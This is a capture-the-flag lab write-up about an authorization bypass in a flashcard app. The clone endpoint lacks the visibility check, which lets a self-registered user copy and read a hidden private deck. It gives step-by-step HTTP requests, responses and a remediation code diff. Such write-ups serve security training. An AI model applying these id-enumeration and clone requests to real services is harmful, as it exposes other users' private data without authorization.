BugForge — 2026.11.08

Tanuki: Clone Authorization Bypass to Hidden Deck Disclosure

BugForge Clone Authorization Bypass easy

Executive Summary

Tanuki is a flashcard study application built on a React (Create React App) + MUI + axios single-page frontend over an Express API backed by SQLite. Decks are the core resource: each has an owner, a public flag, and a share token, and the server hides decks that are neither public, ownerless, nor owned by the requester. Testing confirmed one finding:

ID Title Severity CVSS CWE Endpoint
F1 Clone handler skips the deck visibility filter, exposing a hidden private deck Medium 6.5 CWE-639 POST /api/decks/:id/clone

Every deck read path (listing, detail, study cards) refuses a hidden private deck with 404, but the clone handler accepts any deck id and assigns the copy to the caller. The clone response also returns the newly allocated deck id, and the allocation gap pointed at the hidden deck’s existence: the first clone (of a public deck) returned id 6, naming a deck 5 that no read path would show. Cloning id 5 copied the hidden deck into our library, and its name was the flag.

Objective

Retrieve the flag from the Tanuki lab (variant tanuki-013). The operator hint was “Can you clone private decks?”

Scope / Initial Access

# Target Application
URL: https://lab-1794201184927-fa5gyb.labs-app.bugforge.io/

# Auth details
Registration is open: POST /api/register returns an HS256 JWT with the
{id, username, iat} claims, sent as a Bearer token and stored in
localStorage. The role is read from the database on each request
(verify-token). Starting privilege: none beyond a self-registered user.

Reconnaissance: Reading the Bundle and Mapping the Deck Surface

The bundle was fingerprinted and the application surface mapped as a self-registered user, then the recovered source was read to build the endpoint map. Observations that shaped the test plan:

  1. The bundle is main.1d9dd9ab.js (555,298 bytes, md5 d147458b628f602ee9a626098e745089), a build not present in the dossier fingerprint table, so conclusions from prior rotations needed rechecking. Its sourcemap is public: 451 sources with full sourcesContent recovered.
  2. GET /api/decks returns all decks that pass the server’s visibility behavior, including the ownerless private decks 1-3; the SPA then filters to the user’s own decks client-side (d.owner_id === user?.id).
  3. The ownerless private decks 1-3 are readable directly (GET /api/decks/1, GET /api/study/1/cards) and their content is benign trivia, so the flag was not in reachable private content.
  4. Deck 4 is admin-owned and public with a share token; ids 5 through 12 return 404 on every read path. That reads as either absent or hidden, and the clone probe below settles which.
  5. The recovered frontend source shows POST /api/decks/:id/clone is called only from the Community and SharedDeck views, which list public decks. The dossier records clone as never probed in any prior rotation.
  6. An OPTIONS sweep returns 204 from cors() with no Allow header, so it carries no route information.

Application Architecture

Component Detail
Backend Express, JSON APIs under /api
Frontend React CRA + MUI + axios single-page app
Auth JWT HS256 (id, username, iat), Bearer header, role read from the database per request
Database SQLite

API Surface

Endpoint Method Auth Notes
/api/register, /api/login POST None Registration returns the JWT directly
/api/verify-token GET JWT Role resolved from the database
/api/decks GET JWT Applies the visibility behavior server-side
/api/decks POST JWT Create {name, description, category}
/api/decks/:id GET/DELETE JWT Detail read returns 404 for hidden decks
/api/decks/:id/cards POST JWT {front, back}
/api/decks/:id/clone POST JWT See F1
/api/decks/:id/{share,unshare} POST JWT Untested cross-user
/api/shared/:token GET JWT 401 unauthenticated; invalid token reads “Shared deck not found”
/api/community GET JWT Public decks
/api/users/:username/profile GET JWT Public profile
/api/study/:deckId/cards GET JWT ?limit=; 404 for hidden decks
/api/study/progress, /api/study/session, /api/study/sessions POST/GET JWT Study tracking
/api/stats GET JWT  
/api/admin/{users,decks,cards}[/:id] GET/POST/PUT/DELETE JWT Role-gated, 403 for user role
/api/forgot-password, /api/reset-password POST None  

Known Users

Username ID Role
admin 1 admin (seeded; deck 4 is admin-owned; deck 5’s ownership inferred)
recon1 4 user (ours, self-registered)

Attack Chain Visualization

┌────────────────────────────┐     ┌─────────────────────────────┐     ┌────────────────────────────┐
│ Register, then clone the   │ ──▶ │ Allocation gap: the clone   │ ──▶ │ Clone deck 5 into our      │
│ admin's public deck 4      │     │ returned id 6, so deck 5    │     │ library (clone gets id 8)  │
└────────────────────────────┘     │ exists but no read path     │     └────────────────────────────┘
  the legit call doubles as        │ shows it                    │       clone accepts any id
  the discovery probe              └─────────────────────────────┘

┌────────────────────────────┐
│ GET /api/decks/8: the      │
│ clone's name is the flag   │
└────────────────────────────┘
  hidden deck's name column

Findings

F1: Clone Handler Skips the Deck Visibility Filter, Exposing a Hidden Private Deck

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: POST /api/decks/:id/clone Authentication required: Yes (any self-registered account)

Description

Deck visibility is enforced on every deck read path. Deck 5 is absent from the GET /api/decks listing, and both GET /api/decks/5 and GET /api/study/5/cards return 404; the behavior is consistent with an admin-owned private row (owner_id: 1, is_public: 0 inferred from the visibility pattern and the clone’s “Private instructor copy” description, not directly observed). The clone handler does not apply that check: POST /api/decks/5/clone succeeds, copies the hidden deck, and assigns the clone to the caller, whose subsequent read of the clone returns the hidden deck’s full record.

Two defects compound:

  1. The clone handler accepts any deck id without the visibility check every read path applies. Cloning a visible private deck (id 1, ownerless) also succeeded, which corroborates that the clone path performs no ownership or visibility check on reachable decks either.
  2. The clone response returns the sequentially allocated id of the new copy. Because ids count every row, including hidden ones, the first clone returning id 6 pointed at a deck 5 no read path would show (a deleted row would leave the same gap; the successful clone of id 5 in the reproduction is what settles existence).

The behavior is consistent with a visibility check applied per handler, one that the clone handler does not share; the server-side implementation is inferred from request/response behavior, since only frontend source was recovered.

Impact

An authenticated user can read any hidden private deck’s name, description, and cards by cloning it, including rows excluded from every listing and detail route. Cross-user disclosure of private deck content.

Reproduction

Step 1: Register and obtain a token

POST /api/register HTTP/1.1
Host: lab-1794201184927-fa5gyb.labs-app.bugforge.io
Content-Type: application/json

{"username":"recon1","email":"[email protected]","full_name":"Recon One","password":"reconpass123"}
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJyZWNvbjEiLCJpYXQiOjE3OTQyMDEzMzR9.KRwKeSMotAuJaFNKNj-F9xRDA3qUR-Ly78ENip2OsHE","user":{"id":4,"username":"recon1","email":"[email protected]","full_name":"Recon One"}}

Response: 200 with a JWT for user id 4. All later requests carry it as a Bearer token.

Step 2: Clone the admin’s public deck (control, and the discovery step)

POST /api/decks/4/clone HTTP/1.1
Host: lab-1794201184927-fa5gyb.labs-app.bugforge.io
Authorization: Bearer <token from step 1>
{"id":6,"message":"Deck cloned to your library"}

Response: 200. Deck 4 is the legitimate clone target (public, admin-owned), so this is the success envelope. The new deck received id 6, not 5, leaving a gap at id 5.

Step 3: Confirm deck 5 is hidden from every read path

GET /api/decks/5 HTTP/1.1
Host: lab-1794201184927-fa5gyb.labs-app.bugforge.io
Authorization: Bearer <token from step 1>

Response: 404. GET /api/study/5/cards returns 404 as well, and deck 5 appears in neither GET /api/decks nor GET /api/community. The gap id exists but is filtered.

Step 4: Clone a visible private deck (corroboration, and the missing id 7)

POST /api/decks/1/clone HTTP/1.1
Host: lab-1794201184927-fa5gyb.labs-app.bugforge.io
Authorization: Bearer <token from step 1>
{"id":7,"message":"Deck cloned to your library"}

Response: 200. Deck 1 is ownerless and private but readable through the read paths, so this clone succeeding corroborates that the clone path applies no ownership check on reachable decks. It also accounts for the allocation sequence: id 7 is consumed here, before the hidden deck is touched.

Step 5: Clone the hidden deck

POST /api/decks/5/clone HTTP/1.1
Host: lab-1794201184927-fa5gyb.labs-app.bugforge.io
Authorization: Bearer <token from step 1>
{"id":8,"message":"Deck cloned to your library"}

Response: 200. The handler that every read path refuses reached deck 5 and copied it into our library.

Step 6: Read the clone

GET /api/decks/8 HTTP/1.1
Host: lab-1794201184927-fa5gyb.labs-app.bugforge.io
Authorization: Bearer <token from step 1>
{"id":8,"name":"bug{REDACTED}","description":"Private instructor copy. Do not distribute — contains the graded answer key for the final.","category":"Japanese","owner_id":4,"is_public":0,"share_token":null,"created_at":"2026-11-09 05:20:37","card_count":4}

Response: 200 with our own copy of the hidden deck. The name column carries the flag; owner_id: 4 and the created_at matching the clone’s Date header confirm this is the copy made in step 5. Timestamps are UTC, hence the 09 Nov header against the 08 Nov engagement date.

Flag: bug{REDACTED}

Remediation

Fix 1: Apply the same visibility check to the clone handler

// BEFORE (vulnerable)
app.post("/api/decks/:id/clone", requireAuth, async (req, res) => {
  const deck = await db.get("SELECT * FROM decks WHERE id = ?", req.params.id);
  if (!deck) return res.status(404).json({ error: "Deck not found" });
  const newId = await cloneDeck(deck, req.user.id);
  res.json({ id: newId, message: "Deck cloned to your library" });
});

// AFTER (secure)
app.post("/api/decks/:id/clone", requireAuth, async (req, res) => {
  const deck = await db.get(
    "SELECT * FROM decks WHERE id = ? AND (owner_id IS NULL OR owner_id = ? OR is_public = 1)",
    req.params.id, req.user.id
  );
  if (!deck) return res.status(404).json({ error: "Deck not found" });
  const newId = await cloneDeck(deck, req.user.id);
  res.json({ id: newId, message: "Deck cloned to your library" });
});

The predicate shape is inferred from observed behavior (ownerless and public decks readable, admin-owned private decks hidden); the fix is to reuse the same check the read paths apply, whatever its exact form.

Fix 2: Do not let id allocation disclose hidden rows

// AFTER (secure, defense in depth)
res.json({ id: opaqueHandle(newId), message: "Deck cloned to your library" });

Returning an opaque handle instead of the raw sequential id keeps the shared allocator from advertising row existence through allocation gaps. If sequential ids must stay, the residual exposure is existence confirmation only, and Fix 1 bounds what a known id is worth.

Additional recommendations:

  • Audit the sibling handlers on the same ids (share, unshare) for the same omission; they were untested this engagement.
  • Return 404 with an identical shape for missing and hidden decks so id existence cannot be confirmed by response differences.

Flag / Objective Achieved

The flag was the name column of the hidden deck 5, read back from the clone (deck 8) owned by our account:

Flag: bug{REDACTED}

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: F1 is a direct failure of object-level authorization: a handler on a user-controlled id skips the visibility check every sibling read path applies, reaching a row the application otherwise hides.

Tools Used

Tool Purpose
curl Scripted requests through the intercepting proxy
Caido Interception, replay, and request history during testing

References

Failed Approaches

Approach Result Why It Failed
Direct reads of hidden deck 5 (GET /api/decks/5, GET /api/study/5/cards) 404 The visibility check blocks every read path; only the clone handler reaches the row
Probing deck ids 5-12 via GET All 404 No hidden decks beyond id 5 exist in this instance
Hunting the flag in decks 1-3 content Readable but benign trivia The flag rode deck 5’s name column, not the card content of reachable decks
Inspecting clone response bodies (decks 1, 4) {id, message} only The flag is not delivered on the clone response; it required reading the clone back
OPTIONS route sweep 204, no Allow header cors() answers without route disclosure, so the sweep carries no signal
Unauthenticated requests to /api/decks, /api/community, /api/shared/:token 401 “Access token required” A valid JWT is required before any of these handlers run
Admin routes with a token holding the user role 403 Role is resolved from the database per request and enforced server-side

Tags: #tanuki #bugforge #idor #authorization #hidden-rows #clone Document Version: 1.0 Last Updated: 2026-11-08

#tanuki #bugforge #idor #authorization #hidden-rows #clone